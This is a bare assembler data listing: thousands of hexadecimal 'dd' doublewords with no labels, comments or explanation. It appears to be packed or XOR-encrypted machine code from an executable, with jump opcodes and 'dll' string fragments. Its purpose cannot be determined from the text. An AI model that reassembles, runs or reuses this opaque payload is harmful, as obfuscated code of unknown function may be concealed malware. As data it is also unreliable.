dd 50E98Ch, 0E1B90000h, 8C936C0Bh, 0E89DE61Dh, 746E2E81h
dd 2E6C6C64h, 6C6C64h, 0B2BD1467h, 0FEB98003h, 0Ch dup(0)
dd 2BE90000h, 68000007h, 61872CFh, 0FA0FB8E9h, 73B968FFh
dd 0AEE90618h, 68FFFA0Fh, 618743Fh, 0FA0FA4E9h, 750468FFh
dd 9AE90618h, 68FFFA0Fh, 61875FBh, 0FA0F90E9h, 76C768FFh
dd 86E90618h, 0F9FFFA0Fh, 912A7798h, 2EC714FBh, 0CD66B35Ch
dd 67004DC2h, 0AC9CE926h, 67A8E509h, 50A811Ah, 9E711FB8h
dd 39D6B851h, 0BBC312ECh, 4DF7D0CCh, 14FCD2AFh, 0A01D345Bh
dd 32925661h, 3656B722h, 593746D9h, 0A1000000h, 92F5FD14h
dd 0F147DF5Fh, 3C719EF0h, 0F19DFE69h, 8316E91Eh, 34F31C72h
dd 0C07636B3h, 0B548066Ch, 888707D0h, 0D38533Bh, 0D2447E0h
dd 0E00C8205h, 63F60147h, 0EC133E52h, 0F4950AF0h, 74F5B41Fh
dd 5369E18Dh, 82050D4Eh, 147E054h, 0FBF88BF6h, 0CB444B04h
dd 230C396h, 0DB345B14h, 7B6A7348h, 868EA5BCh, 47DF6001h
dd 84E47782h, 49F16F82h, 0ADC5FA05h, 4DF170DEh, 0A1E8F915h
dd 24AEEF21h, 251F6h, 0C19B4800h, 23E2CFD8h, 0F175331Bh
dd 0F6475249h, 9BB78607h, 0E339D13Fh, 0E7AEF050h, 5B7291FEh
dd 1BA73453h, 6F18200Ah, 0C0A1BA6h, 0CB5E6901h, 4908EDF6h
dd 2DB5C541h, 0BED0890Ch, 0B6491C51h, 0EBA4636Eh, 0F2D76AA5h
dd 0B6755C65h, 6BA4E69Fh, 0B5E3A4ACh, 95A00C0Dh, 3073A202h
dd 55600E21h, 5EB1DD96h, 0FB031A11h, 0A1B338Ch, 42BBE4EFh
dd 42E0B45Ah, 5E3041D4h, 4932555Dh, 46510A1Bh, 2F225CDBh
dd 0BB02F83h, 4DE44h, 21EEA300h, 0BE513BD4h, 5DB2D871h
dd 0F7187710h, 937C11AAh, 8F5F5646h, 2BC411FEh, 0C962AF60h
dd 62FB48C7h, 0BC96E32Ch, 0D222656Dh, 84614DF7h, 0F31C72AEh
dd 392831BEh, 5A4CF97Ah, 77DB3DAAh, 396D75E4h, 3C49F20Fh
dd 0E874E431h, 560FB4BDh, 55CA075h, 78E32C62h, 0A3EA534Fh
dd 0C02BC889h, 0E455F901h, 72895003h, 0DFDA1D6Ah, 1AF59547h
dd 6F7A12E5h, 0CA8994DCh, 36AA2A49h, 0DFAF592Eh, 0F61F2A47h
dd 0AF420C72h, 0CA62CEAEh, 0B7C0BF7Dh, 0ED58B7D4h, 78E0262Eh
dd 0FF80E28Eh, 0A5D07126h, 347C0F46h, 81B65933h, 810E43AEh
dd 5A2D3578h, 29E66F4Ch, 3BF4B31Eh, 0B285BA55h, 6DA8B01Fh
dd 33E882C7h, 0CE73141Ch, 0B110E079h, 79CEDEA9h, 27929DE0h
dd 82414C94h, 0FD4AC5C9h, 66E52A64h, 7522A932h, 0F4B47B20h
dd 0B9000003h, 51EA37D8h, 0EE87D43Bh, 8D26739Ch, 27C00D02h
dd 6C5CA966h, 27E8A549h, 0C54A41DAh, 5EB1DF78h, 0F9167811h
dd 7B83D2ACh, 4DF7D30Ch, 72BC926Fh, 31BEF31Ch, 727A3928h
dd 49F182B8h, 126FBCC7h, 465D1C09h, 0D80D028Dh, 27E8A405h
dd 0F8633494h, 35405009h, 3ED1BD76h, 0D93658F1h, 8CFB031Ah
dd 0EF47E9B9h, 0DF6C51E4h, 2830EFD6h, 49FBD2AAh, 0B65935EEh
dd 0D31BAE81h, 0BFE349C8h, 4AEFEBA0h, 36E83h, 0B15E3300h
dd 4EC1CB64h, 0ED226801h, 878807A0h, 23ECA13Ah, 1FCFE6D6h
dd 0BB54A16Eh, 59F23FD0h, 0F28BD837h, 4C26739Ch, 0D392F5FDh
dd 14F14DF7h, 0F31C723Eh, 72151D34h, 1147DF5Fh, 26E9A506h
dd 0A68B1EF1h, 62211019h, 0F160B45Ah, 7BC8D349h, 1B3E4h
dd 0C49B4E00h, 2CEBDAE3h, 0F1752A24h, 2E5C5D49h, 5709FEBh
dd 4192FDD0h, 0AC6A6A61h, 12F17260h, 2AF2E4AAh, 515A2FC2h
dd 0F19DA564h, 943D205Fh, 0BEC75489h, 4D291319h, 1C2F4245h
dd 0D36413Dh, 0CF3A5B7Ah, 0DC0D0810h, 0EFFA3F2Eh, 0FA021930h
dd 3B08DF8Dh, 5433E3EEh, 273B08DFh, 611A891Ch, 0FC95E22Dh
dd 26FE7D92h, 2C1E9146h, 2A9C087h, 236E0000h, 86069FECh
dd 0E7A33C89h, 4D42DB28h, 0B1DC75C2h, 9421115Eh, 8FDC335Ah
dd 2D7A95F6h, 0C613FC94h, 61AE612Dh, 57303887h, 244DF7D4h
dd 5B147147h, 3748DB34h, 40F9B857h, 4CC3CD4Ch, 0DC694EE1h
dd 272FEED3h, 49F18D7Fh, 8F8A0506h, 3CA712FDh, 0C8E17FEFh
dd 5A13D2BFh, 0D7AADF30h, 81CDD544h, 845003A3h, 80392879h
dd 0C6CFF10h, 0B1218158h, 31F0D5DEh, 0C6FB1478h, 5B2C34F3h
dd 28D6C132h, 131B8A1Dh, 0D8D3617Bh, 0AA652AE3h, 0C70FA275h
dd 0DEE6FDBCh, 0D0D341A9h, 573CCFDAh, 15D4C1CAh, 0A8DFE7FEh
dd 4AD0D341h, 2CD86F1Eh, 0EFF0885Ah, 66396EA1h, 0D0868FBh
dd 0D3D2E5DAh, 0E8A7721Ah, 0B487BC27h, 0FCED921h, 0C44B3FF8h
dd 0A16E2031h, 7ED3BB54h, 0FE1D92D9h, 8863F8D9h, 0EAD9CA93h
dd 6C79567Fh, 0B59CFF7Dh, 8575CB4Ah, 0F89D635Eh, 1B231h
dd 0F51A7700h, 927D0FA8h, 31DEAC45h, 0CB444BE4h, 67A8E57Eh
dd 638B2A1Ah, 0FF98E52Ah, 9D36838Ch, 36CF1CF3h, 906AB758h
dd 0D44E3941h, 502D4DF7h, 0F5FD147Ah, 47DF5F92h, 4253E6F1h
dd 18EC34Ch, 424A09F8h, 49F181E8h, 893F8C97h, 1C0A5AEh
dd 5F5C31EAh, 0DF603057h, 0DD485347h, 0E242D5A8h, 49F7CEAFh
dd 52353D9Ch, 314DF7CFh, 43FCBB26h, 0DE77C44Bh, 0EC2369B0h
dd 4479E4B7h, 8C7AEB7h, 103E9F00h, 0C2818C50h, 0CB8A8509h
dd 9FA3C14Ah, 0DFA9F097h, 5F889347h, 0DD3EF576h, 0CECB5EB1h
dd 0CFB8C0D7h, 0AC47DFFBh, 91FD0EA1h, 0B3BC497Eh, 0FC15727Ah
dd 5B6647DFh, 492931F0h, 7449F21Bh, 455EEA69h, 0CF74EBAAh
dd 0E608h, 29E6AB00h, 0C64943DCh, 65AAE079h, 0FF107F18h
dd 9B7419B2h, 97575E4Eh, 33CC19F6h, 0D16AB758h, 6A0350BFh
dd 0C49EEB24h, 0D61A6D75h, 8C694DF7h, 0B89314B6h, 0EBEA3E08h
dd 596237CAh, 0C3F81776h, 0F1F3949Ch, 859047DFh, 0D9F0AF1Ah
dd 225241C2h, 0EE18C6A4h, 0E01E493Eh, 12713A47h, 12BFE464h
dd 97F78AF5h, 49F887CCh, 90B7ECF7h, 0CCF32A0Fh, 926DAD0h
dd 0D182ABE6h, 3F50E30Ah, 0EA01C04Fh, 0F810A5E2h, 0CCBD64Dh
dd 0F8108304h, 62F5004Dh, 4DC2CC65h, 0A2470018h, 0A1EF409h
dd 8D820CD7h, 0D97815CEh, 608FE567h, 0B4E95437h, 0B8514EE1h
dd 0F97A39D6h, 0B5E24414h, 876CFFBEh, 93ED1BEh, 816C7561h
dd 2C43020Dh, 0EAC46324h, 821520B3h, 6DA2EC85h, 0F2FA1138h
dd 0B3EAC495h, 3948DBE6h, 3, 723422A3h, 0F2BBF01Fh, 753E739Ch
dd 0F6BFF41Bh, 7C457A95h, 0C9FE11h, 844D828Dh, 6CF040Bh
dd 8D568B84h, 0D4DB10FFh, 81E28952h, 4C2h, 4EA8300h, 8B241487h
dd 3C682424h, 89000062h, 8951243Ch, 4C181E1h, 81000000h
dd 4E9h, 240C8700h, 240C895Ch, 4EC81h, 1C890000h, 7179BB24h
dd 0DF890618h, 4EC815Bh, 89000000h, 4812424h, 424h, 89565900h
dd 87189FEh, 8124348Bh, 4C4h, 240C8B00h, 81E38953h, 4C3h
dd 4C38300h, 5C241C87h, 52243C8Bh, 0C281E289h, 4, 4C281h
dd 14870000h, 9EE95C24h, 0E1FFFA08h, 51C91A03h, 0D2B85540h
dd 3061877h, 0FCE0FFC5h, 2F1C0A03h, 0BC75FE82h, 0E84C70DAh
dd 14h, 4696EE60h, 506A61BDh, 6F4515ADh, 0F6286D44h, 0F73543A3h
dd 0E4EF8166h, 0BE95964h, 6A000000h, 0A97A760Fh, 4195160Dh
dd 0C181361Eh, 6AC0h, 1A7E68h, 0BF0F5600h, 665A5EC7h, 198BC38Bh
dd 0C381C38Bh, 12B692C8h, 88B0Fh, 8A0F0000h, 2, 0EB81FE8Bh
dd 2C03E372h, 0AEF381F8h, 6610F9E1h, 53C954BEh, 18F5F51h
dd 3840Fh, 0C8800000h, 1CE9818Dh, 81116F80h, 858D75D6h
dd 18C18123h, 8B116F80h, 850F4AFEh, 26h, 11E9h, 0D78EBC00h
dd 0E4506B3Fh, 0E0EB5122h, 0CEFB25ADh, 21E9DAACh, 0A8000000h
dd 2D285ABBh, 0F12C3CEBh
dd 83E94EB3h, 0E3FFFFFFh, 53E41F5Eh, 56392Eh, 2C53E2F8h
dd 34CFD25Eh, 26E9h, 5F4CFC00h, 0Ch, 7 dup(0)
dd 0E9000000h, 4E4h, 187A9E68h, 777E906h, 0FD68FFFAh, 0E906187Ah
dd 0FFFA076Dh, 187CA268h, 763E906h, 0BBD6FFFAh, 1E6E0754h
dd 7F0BA4F1h, 0E5AA4390h, 4944DD2Ah, 2C8979C6h, 0F744CBC2h
dd 95E22D5Eh, 2E7B94FCh, 0C916F995h, 0EF98A0EFh, 8C4DF7D8h
dd 721798AFh, 268484E7h, 726F9D30h, 0F6BFF41Bh, 0CD2A7798h
dd 161EDDC4h, 49F17D34h, 72894853h, 0F17D1D6Ah, 0C0535E4Dh
dd 7CC8C3DBh, 9BF24DF1h, 16763F74h, 1A2EC4F9h, 0CEEA12C7h
dd 0E3047C13h, 1FD124AEh, 0E2000003h, 74A96629h, 9BE00EA1h
dd 0F7D4DDAEh, 691E2695h, 1A47DF5Fh, 9C6FA40Fh, 0E46A7231h
dd 2349F175h, 2FE7C718h, 8948B4DBh, 0BBD29180h, 4E838C02h
dd 1688E87Bh, 0F14568EBh, 0D18AB1E6h, 0EABF52BDh, 2D35F4E1h
dd 4756F496h, 0F0979FB6h, 934356BEh, 0A2ADF588h, 224BCCE3h
dd 6C88D43Dh, 16449E6Eh, 73FD41EDh, 50BFCFE0h, 0EDF50C03h
dd 4357029Ah, 3A4BDEE9h, 48C7C554h, 0CF404A13h, 0F15CC79Ah
dd 0CF6D9772h, 6F36DB16h, 322h, 552BDD4h, 0A2EF206Ch, 418E8109h
dd 0DB28E7A8h, 77C44B42h, 0CDC02E87h, 2F5CF542h, 96FA93E0h
dd 0FB932C79h, 9EEDC714h, 0F7D9F196h, 0DFB5924Dh, 1C0A5AEh
dd 95CA4548h, 0B8C02FC2h, 49F7D73Ch, 0DC95545Fh, 78115EB1h
dd 0ADC5FA15h, 4DF7D8DFh, 0B8A8509h, 145F4818h, 0C38E55FAh
dd 75000002h, 0DA6F31Ch, 0AA43907Fh, 49E22FE0h, 0E37CC946h
dd 281865AAh, 0E32C618Dh, 818EFD96h, 1AF59B34h, 0B55A34CDh
dd 373F8E68h, 4DF7D950h, 14805633h, 0A7DC335Bh, 636C41D4h
dd 3DB7BF7Eh, 3949F7D7h, 6D000F80h, 0DA5B1A25h, 2D309DC6h
dd 0FF487B9h, 0F7BE94F7h, 9E435F4Dh, 0A4BDEFE7h, 1D03C24h
dd 728E0000h, 0F5BEF31Ch, 0CC297699h, 171FDEC3h, 49F18C77h
dd 0D9E366E7h, 66804E13h, 4B808BD3h, 0F1865833h, 627F9B4Dh
dd 0AEC5AB2Bh, 0F4FC1324h, 4DF18E93h, 5052E5F0h, 45h, 0C0A5AEA2h
dd 0CA454801h, 0FB03C295h, 47DF5F8Ch, 0E251E4EFh, 0F17EECDAh
dd 0DB101B49h, 0F180C8C3h, 729DF24Dh, 0F718743Dh, 825FE3C2h
dd 0C819355Dh, 0AEDFC1C1h, 1071624h, 10270000h, 0F18C7F08h
dd 5EF1FC4Dh, 45931430h, 0AC5CB1A5h, 0DAB4C558h, 7DCD60E1h
dd 0D469E029h, 0DF6F6324h, 6B1F2047h, 319C6FA4h, 0B16A91C6h
dd 0BE513CDDh, 0B84B1E53h, 5933E6A7h, 0B8C4BB6h, 96F752C7h
dd 48714479h, 9286D870h, 0CE676438h, 6A4FE24Dh, 0ED22EDA1h
dd 0E6A56A24h, 4E97A865h, 0D568914Ch, 9281F0D8h, 0A9E547DFh
dd 9B7D0A12h, 0FDFE47DFh, 0AC17828Dh, 0CF9025Fh, 592E364Dh
dd 2A47DF9Bh, 151D8C1Fh, 49F23E04h, 6019D8E3h, 0E7B0E52Ah
dd 6CFF6AA5h, 16CFE6FDh, 9FE89877h, 0DC4DF3F5h, 602D3ED1h
dd 0F634535Bh, 3C474DF3h, 355912D1h, 534A47DAh, 0BA1BF49Ah
dd 370A3FD0h, 15FA93A4h, 0AC58D796h, 2FF69BEBh, 11Eh, 14EC1D0h
dd 9EEB2468h, 3D8A8505h, 0D724EBA4h, 73C04F3Eh, 0D1BC3283h
dd 3358F13Eh, 9AF68FDCh, 0FF8F2875h, 9AE9C310h, 0F7DBF592h
dd 0D3A9864Dh, 0A7F41B72h, 428F800Eh, 0F31C728Ch, 7699F5BEh
dd 8C8DFEB7h, 6BA00B04h, 0B9563798h, 0C3CC2926h, 0E9171FDEh
dd 0D449F1ADh, 3C510AC9h, 0ED9E86D3h, 0CD4DF1ADh, 0E8F4EC1h
dd 0CF7CAF7Ah, 5552E52Eh, 483F475Eh, 0AA4DF234h, 0D4C12535h
dd 3D48E0D7h, 0C95CB3DCh, 53AD5B8h, 913Eh, 0FD14A800h
dd 8EC34C44h, 5F7C0BBBh, 0A0FF47DFh, 0DF5FEF98h, 16818C47h
dd 0C0A5AE83h, 0D3464801h, 57EA55BAh, 0B2BAD1E8h, 47DF5FD5h
dd 0A8089BA6h, 49F7D750h, 0C336873h, 0DDBE198Bh, 0D568E14Ch
dd 0F845CAC4h, 0B9408001h, 71E543B6h, 4EC1CDDEh, 5439F219h
dd 20B386BBh, 9D1524C0h, 34ADC153h, 2EEBA25Bh, 8342AD62h
dd 3F190C7Bh, 0D1646F54h, 0F441CEC0h, 0AAE6335Bh, 0FCC5FA65h
dd 9F477C93h, 0DBB32EB3h, 404EE734h, 3D39ACFh, 3D000000h
dd 1F723422h, 9CF2BBF0h, 1B753E73h, 95F6BFF4h, 117C457Ah
dd 8D00C9FEh, 0B844D82h, 8406CF04h, 0FF8D568Bh, 83D4DB10h
dd 0C8904ECh, 81E18924h, 4C1h, 4E98300h, 5C240C87h, 81E28952h
dd 4C2h, 4EA8300h, 5C241487h, 68240489h, 3EF9h, 52240C89h
dd 2EDBE56h, 0F2897E35h, 7B71B85Eh, 0D031782Dh, 0C8B545Ah
dd 4C48124h, 55000000h, 6989C589h, 242C8B08h, 4C481h, 34FF0000h
dd 0C4835924h, 2434FF04h, 4C48358h, 0FA02ACE9h, 0D3560AFFh
dd 3B590111h, 108712B4h, 534381B9h, 187DE5B8h, 0FFC50306h
dd 0B2F977E0h, 42EBD554h, 7A49D172h, 6E6A660Fh, 269C267h
dd 34320D55h, 7D81C12Ah, 582BF73Ch, 8872CC7Eh, 86BDA071h
dd 0A2455C10h, 0B0AC73Bh, 605E5302h, 26BF5DB1h, 0D056AEB1h
dd 6AF11181h, 6898EAD4h, 4051B7FCh, 6EF58392h, 325E8089h
dd 0B354E3B1h, 0DBF5057Ah, 3256AEBDh, 8DB61A71h, 0B673C7B9h
dd 36615ACBh, 5256EAD0h, 32566559h, 7C3FFEB1h, 0BAB13A72h
dd 1E009346h, 0AE4075C2h, 32DFA435h, 6D56D5B1h, 539755BEh
dd 3252F1BEh, 0B936BAB1h, 14BE3C7Fh, 0CA56ACE8h, 32AF57B1h
dd 0F7D6CBB1h, 53D060D0h, 0BF59EAB1h, 325675B9h, 325438BEh
dd 53365DB1h, 34BFAEB1h, 185657B1h, 7691DC28h, 6F116634h
dd 3D975CB1h, 32567539h, 0B359DBB1h, 32565DB4h, 83A62FD7h
dd 3256360Fh, 6D414C48h, 8936D5B1h, 36F5948h, 32567C59h
dd 32734AB1h, 8B536240h, 6D05F29Dh, 325636EBh, 3D56AB4Dh
dd 3256D435h, 325616B1h, 0CB56754Dh, 0BD59BAB1h, 32565DBDh
dd 325028BEh, 0B65957B1h, 3256ABB1h, 325D53BEh, 0B236EAB1h
dd 0B659966Ah, 3256BAB1h, 52565DD0h, 32378400h, 3246BEB1h
dd 359ABB1h, 8013B3EBh, 21B6FBC1h, 0A946EC3Ch, 325621A7h
dd 32565A58h, 0E9D24AB1h, 3EB8E103h, 0B859ABB1h, 3256D5BCh
dd 3256E258h, 0D7B6C6B1h, 15F773FBh, 3D565DADh, 3256A832h
dd 533637B1h, 5237CAD1h, 3256DA59h, 635AEBB1h, 0DA0B91Ch
dd 9E5B3501h, 4D0EAC12h, 3256A858h, 0AC16E3B1h, 6951CF84h
dd 3256DB58h, 4ABE0B1h, 0FB0520C1h, 4AC55DE9h, 53BC55FCh
dd 0B359AEB1h, 325657BDh, 325024BEh, 0B159D5B1h, 3256EAB1h
dd 3FBF75B1h, 6356BAB1h, 0CD8BA5E0h, 0B17267B6h, 8BA5742Dh
dd 8D36ABB1h, 183F66D4h, 32561FD0h, 0F3A4F4D1h, 53759B80h
dd 32AE5DB1h, 325947B1h, 0B18A57B1h, 0F05D2FA5h, 0E1B85231h
dd 6A6CFE18h, 5256754Fh, 0DA9031D7h, 32565DA1h, 5ACB3CD4h
dd 0DE34C710h, 3B4B4FA0h, 0B676D3B9h, 43160B30h, 530F14F8h
dd 0B359BAB1h, 32565DB0h, 0DB56AE49h, 325657B7h, 0F871C44Fh
dd 325610F0h, 3256E84Dh, 325675B1h, 47D9922Dh, 9A241735h
dd 0A820C176h, 32113A0Ch, 3D36CBB1h, 0C2DD030Eh, 6801B8D0h
dd 0EAAF14E9h, 3756BFB6h, 3F565FB1h, 10569EB1h, 3157EAB1h
dd 8B6CFC00h, 0EA26F61Ah, 396E08D6h, 0C75675D0h, 23BFBAB1h
dd 40565DB1h, 7DFBBC5Bh, 0DF812B3Ah, 0E86B38ABh, 7F4B95F8h
dd 32AAEAB1h, 33D97AB1h, 0C756BAB1h, 32A35DB1h, 3ADEA1B1h
dd 3D5657B1h, 3256A937h, 3D37B5B1h, 3256F23Bh, 32459CB1h
dd 0BA02BAB1h, 0B1B0FF0Bh, 0C6D9517h, 0A5D02CCAh, 0B3800EFh
dd 5256D5A7h, 3256F958h, 48F065B1h, 47469C8h, 462B47FEh
dd 3638D245h, 852D7D2Ah, 3256CA48h, 0CB56D7E6h, 3001EAB1h
dd 0AB5675B1h, 0F30903A7h, 0E2A855E0h, 0DFEB4F1h, 32F65CC3h
dd 324742B1h, 3A12D5B1h, 2637CAh, 0E98535EEh, 0A287CDE2h
dd 0A2071BC3h, 3256A358h, 0B590F6B1h, 11047605h, 4DC80C91h
dd 62067FFDh, 0B93015E3h, 5309EA4Fh, 3D366CBEh, 6800500Eh
dd 0A20E0DD0h, 1F4C635h, 0BDB8BC41h, 99ACCFADh, 62062DEBh
dd 325153E3h, 12755DB1h, 7E293068h, 0DB675824h, 3256ABB7h
dd 7FB2A2C7h, 6A0CF9B3h, 32567521h, 2154F755h, 5D1814E1h
dd 0B90CABCDh, 85C50FEBh, 324242EBh, 73AD5B1h, 830ED17Bh
dd 0DF526227h, 0DB260993h, 97CA52DFh, 53CB85CBh, 60C60FEBh
dd 3256AC58h, 0B5656B1h, 0C77A35CFh, 533644BEh, 6A0CE2EBh
dd 0C3CE2626h, 1F12F967h, 1BE6A4D3h, 0D78AE41Fh, 76DFBE0Bh
dd 0DB36EE95h, 325675A3h, 0ABB659A3h, 675A62EFh, 0E3AEF5DBh
dd 3FF26087h, 21BF7873h, 1D56D5B1h, 794C2F8Dh, 15B03499h
dd 0F124C765h, 2DE824F1h, 6A379BDDh, 85E006C9h, 61142695h
dd 9DD85C21h, 359AF0Dh, 533627E1h, 3ABF8BBEh, 0F2565DB1h
dd 0DEC99048h, 68ED1D04h, 6A0EF1E9h, 0FDC762B1h, 73723DCCh
dd 0DBEB8B2Eh, 30EC52F6h, 3D565D55h, 3256A732h, 5EEF37B1h
dd 0B82792EAh, 3256B466h, 0C756EA48h, 0B75975B1h, 3256BAACh
dd 3241DBBEh, 20BFAEB1h, 825657B1h, 15592A7Ch, 73294B1Bh
dd 0B1C45111h, 0E46FDB03h, 5256BA66h, 53AE4D7h, 0B330CED0h
dd 84C43050h, 3256CA5Ah, 5256D549h, 53063831h, 0BA5975B1h
dd 3256BAA8h, 32564958h, 8A3079B1h, 3CAE1B30h, 6E7C69B4h
dd 9F905C80h, 26D3030Ah, 3D567547h, 3256A83Fh, 3ED752B1h
dd 0DB56AEB1h, 325657B6h, 0B088D51Dh, 323D67DFh, 3DD5E5B1h
dd 0DB5675B1h, 3256BABBh, 99766E88h, 0FBBE2209h, 32567C26h
dd 3256BB58h, 48AFE5B1h, 0D3A0CC13h, 599D408Eh, 6E6C9AEDh
dd 3D565D10h, 3256A330h, 325EBEB1h, 251CABB1h, 0D39A33D4h
dd 32564504h, 0C2DD13D1h, 0D6266D30h, 32376984h, 0B059CEB1h
dd 325657B7h, 0ECB45A30h, 0E1D7924Ch, 116630E5h, 525675D0h
dd 92F503D7h, 8B363C4Dh, 33CE9ECEh, 0FE58660Fh, 3256CACFh
dd 3256D258h, 0A3DB11B1h, 8207AC14h, 34BFBAB1h, 23565DB1h
dd 0EAF68666h, 52565786h, 3256A758h, 5D4E4B1h, 5E332F10h
dd 0C6909B61h, 0C3E9B567h, 0CA565DD0h, 0C7A3AEB1h, 0B93657B1h
dd 28D0A476h, 0DA56D5B1h, 3256EAA5h, 6FCCE31Bh, 0C136A0B9h
dd 1FCAA8D5h, 522655C6h, 78249B58h, 0BD59CAE8h, 3256D5BCh
dd 0A92A52D1h, 0B4593949h, 3256BAB1h, 52565DD0h, 5816E40Ah
dd 0E8D731FDh, 5237FE1Ch, 53A462BEh, 5236EAB1h, 32567359h
dd 5D5CB9B1h, 6AA6B102h, 54370602h, 3237813Ah, 28DDA4B1h
dd 5256D5B1h, 25996BD7h, 32589CD6h, 0F1D5BAB1h, 0C60C72BBh
dd 83DF6CFBh, 53AF8ECCh, 0CE56ABD0h, 3DBFD5B1h, 4456EAB1h
dd 0D883E39Eh, 0ACC881EAh, 2182E03Ah, 3256D190h, 32564458h
dd 13ADDDB1h, 0E249FFE6h, 0D2712FCAh, 0D4EF6A78h, 6E44E959h
dd 0BC595DB1h, 3256AEA6h, 32564558h, 4FBE2BB1h, 2F3E0CBBh
dd 9316F714h, 4E397849h, 3250306Ah, 33DA52B1h, 0CB56AEB1h
dd 0DA3657B1h, 3256ABB4h, 0D2DA77Eh, 3EBFB21Eh, 0F65675B1h
dd 71B132C6h, 286DCA68h, 53B6C4A0h, 0BB5957B1h, 3256ABB0h
dd 5256D544h, 325463BEh, 533675B1h, 324137BEh, 20BF5DB1h
dd 2856AEB1h, 0E3853E2h, 3CA6ECF0h, 8C32333Ch, 0E778FD8Ch
dd 32561403h, 324553D1h, 0DC795DB1h, 0A433A95Ah, 0FA043872h
dd 1D137EA2h, 0DC2F2A5Eh, 32568B7Ch, 0BD5925D1h, 3256BAB1h
dd 32563CE9h, 0DB56AE44h, 325657B6h, 91399194h, 5274207Bh
dd 32576DBEh, 89A375B1h, 719C83CEh, 3D565DD0h, 3256AF3Fh
dd 3256AFB1h, 325A2DBEh, 0B959D5B1h, 3256EAB7h, 3256F8BEh
dd 3256BAB1h, 3D565D4Dh, 3256A336h, 0B35937B1h, 3256ABB1h
dd 2A9654D7h, 32568B51h, 0DB567544h, 3256BAB9h, 7478EB43h
dd 0D7164B4h, 0BA5957B1h, 3256ABAFh, 324E53BEh, 21BFEAB1h
dd 0A05675B1h, 0E6F9B709h, 8D5B15F4h, 0DAEBD9EEh, 12917421h
dd 3256CB4Eh, 324457BEh, 3FBFEAB1h, 265675B1h, 4B79854Ah
dd 0B9BFF48Fh, 0F1135FB7h, 0BF5957B1h, 3256ABB6h, 32575BBEh
dd 52A3EAB1h, 32567359h, 698ECEB1h, 874ADD40h, 0E4DDF5D9h
dd 0DB5657D0h, 3256ABB7h, 941AF2A0h, 0B936E50Fh, 539AFF42h
dd 0B936BAB1h, 32563C41h, 325A22BEh, 35BF57B1h, 0C656ABB1h
dd 0A9017DD3h, 32564ECEh, 32567A58h, 0D355ECB1h, 22045A33h
dd 0DB87006Bh, 0DE41ECF2h, 0E8E1A4D1h, 325356BEh, 0B330EAB1h
dd 53C19852h, 32AABAB1h, 3253B4B1h, 7B11AEB1h, 52AAC41Ah
dd 0B0945C30h, 0B459C180h, 3256EAA6h, 32566459h, 8CDBECB1h
dd 98EEB415h, 71D8DEF8h, 83207347h, 530C717Dh, 3BBFD5B1h
dd 0C056EAB1h, 30211B70h, 0EBC9284Eh, 52A35DB1h, 0F0E1A1D1h
dd 325636D0h, 3256BF58h, 0EE5965B1h, 0FD301E27h, 16603CC9h
dd 0AE9CE207h, 86242349h, 0DB56AE3Ah, 325657B9h, 8E0360EEh
dd 0B144570h, 0B1598AD1h, 325675B1h, 70C205D7h, 0ECDD3BD0h
dd 3D56AED0h, 32565A38h, 325E42B1h, 3EC3D5B1h, 0DBEF82B4h
dd 3256200Ah, 3256B358h, 76FFFEB1h, 9C37F746h, 3256235Fh
dd 325B42D1h, 636BD5B1h, 629DF6DDh, 0A60060B5h, 0CEF6202Ah
dd 3FD752D0h, 5256AEB1h, 0C382BA08h, 32D1A4E9h, 5356D5B1h
dd 32AAEAB1h, 3DBF15B1h, 6056BAB1h, 0E8DBE744h, 158FDDC8h
dd 4A2595B5h, 0F5D7461Ch, 765D41DEh, 0F3D78AD0h, 25AD3320h
dd 0DB56BAD0h, 32565DB7h, 0A750C91Dh, 32560600h, 3256A258h
dd 4B7517B1h, 5093263Bh, 32568BBEh, 325730BEh, 32AE5DB1h
dd 324247B1h, 704E57B1h, 69B834C0h, 0F1ED1A8Eh, 0FD0ECB33h
dd 9803348Bh, 32568655h, 53090ED1h, 3EBFAEB1h, 5B5657B1h
dd 0B9B6B2AEh, 70E06B3Eh, 32C4025Eh, 88AA15B1h, 409795A0h
dd 3256A5D0h, 325721BEh, 32AF57B1h, 325E42B1h, 0CB50D5B1h
dd 4F92EFB1h, 3256FAFFh, 325E52D1h, 1E015DB1h, 0BD3C78B3h
dd 6AAA8C16h, 53FB5931h, 0B959D5B1h, 3256EABBh, 32567058h
dd 0D0D89BB1h, 32566228h, 0B930CED1h, 32D45840h, 5356ABB1h
dd 32562DD0h, 325E6FBEh, 3D3675B1h, 85596A06h, 32563C70h
dd 0CB56AE44h, 32AE57B1h, 33D3A4B1h, 0C756D5B1h, 0B236EAB1h
dd 3237AD7Fh, 33D5B5B1h, 0CE565DB1h, 34BFAEB1h, 0B15657B1h
dd 8EBE227Ah, 0DB56D5DBh, 3256EAB9h, 6D20AF79h, 0B6890215h
dd 0BE595DB1h, 3256AEBBh, 32D058D1h, 5256ABB1h, 3256B4D0h
dd 0DB56EA48h, 325675BDh, 0BBCD43F2h, 27E851A9h, 0C6953B39h
dd 32AE57B1h, 21D9A4B1h, 0DB56D5B1h, 3256EABFh, 0E013B340h
dd 2A8A8335h, 17E2C958h, 3256EA6Dh, 36EE31D1h, 228C2ABCh
dd 535A370Ah, 0B336EAB1h, 0F25A1C62h, 3256DBFAh, 325BDDBEh
dd 3ABFAEB1h, 5657B1h, 98EFF0D1h, 3201CB81h, 0D8D68AB1h
dd 0E3DD1381h, 0DB56BAD0h, 32565DA5h, 0A5AD425Dh, 6D92F8CCh
dd 0F9B12B53h, 0CF6E410Ch, 182B22DDh, 0CEAA75B1h, 32AABAB1h
dd 3251B4B1h, 0A5E4AEB1h, 0C737F91Bh, 0CB56AB26h, 0BC59D5B1h
dd 3256EABAh, 32567358h, 51CFC4B1h, 326D1406h, 325A47B1h
dd 977857B1h, 36940C51h, 0ED17B14Eh, 3256A2E6h, 0DB56754Dh
dd 3256BABFh, 0F1548EE8h, 46B390Ah, 0A3DC2B01h, 32561115h
dd 32473CD1h, 8CEAEAB1h
dd 43AA3974h, 46803E80h, 0C87142A6h, 54EF0C0Eh, 80FB8430h
dd 0CB56ABD0h, 0B159D5B1h, 3256EABFh, 32DE7AD1h, 3D56BAB1h
dd 32565D3Dh, 3256CFB1h, 3244D4BEh, 3FBFABB1h, 1756D5B1h
dd 0E197BB49h, 5CE802FBh, 193A7C27h, 3EBF5DB1h, 3956AEB1h
dd 0A1752BA6h, 1A568D25h, 32CF6202h, 325B03B1h, 27D975B1h
dd 34EF459Eh, 18931936h, 3223A254h, 3ED258B1h, 3D56ABB1h
dd 3256D331h, 32D4E5B1h, 525675B1h, 325036BEh, 0B2595DB1h
dd 3256AEB1h, 53ADE0BEh, 3BBFABB1h, 3356D5B1h, 0B180A737h
